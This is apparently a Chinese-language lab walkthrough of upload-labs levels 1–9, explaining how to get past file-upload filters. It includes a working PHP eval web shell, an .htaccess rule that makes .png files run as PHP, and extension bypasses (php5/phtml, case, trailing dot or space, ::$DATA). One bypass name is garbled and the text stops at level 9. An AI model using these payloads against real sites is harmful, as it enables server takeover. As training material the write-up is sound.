第一关
<?php @eval ($_POST[123]);?>
发现他这个是通过客户端前端写了一个限制 我们禁用srcipt即可
蚁剑成功打开
第二关
我们上传文件2.php它提示我们文件类型不正确 我们可以联想到做了后缀检测
我们通过burp抓包修改后缀
第三关
我们上传一个.php文件不可上传
尝试后缀大小写绕过、空格绕过、点绕过、:😄 A T A 绕过等操作都不行
查看源代码发现全部禁止了
在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。我们这里用.php7试一下,直接上传一个名为1.php5的文件,可以发现直接上传成功
通过修改配置文件
通过.php5上传成功
第四关
查看源代码发现很多都用不了
我们可以通过.htaccess文件上传
AddType application/x-httpd-php .png
如果文件里面有一个后缀为.png的文件,他就会被解析成.php。先上传一个1.png文件,然后上传这个.htaccess,再访问1.png,完美通关。具体可以查看我之前写的文章
第五关
查看源代码发现没有小写保护
第六关
可以通过对比代码发现没有收尾去空
使用burp添加空格
第七关
查看源代码,发现少了删除文件末尾的点
在burp中抓包在文件名后加.
第八关
查看源代码,发现少了去除字符串
在burp中抓包在文件名后加::$DATA
第九关
查看源代码,和前几关相比,本关明显不能按前几关的思路来绕过,仔细看了一下代码,发现没有循环验证,也就是说转换大小写去除空格什么的它只验证一次,所以我的思路是想把后缀改为.phP …直接开始实验。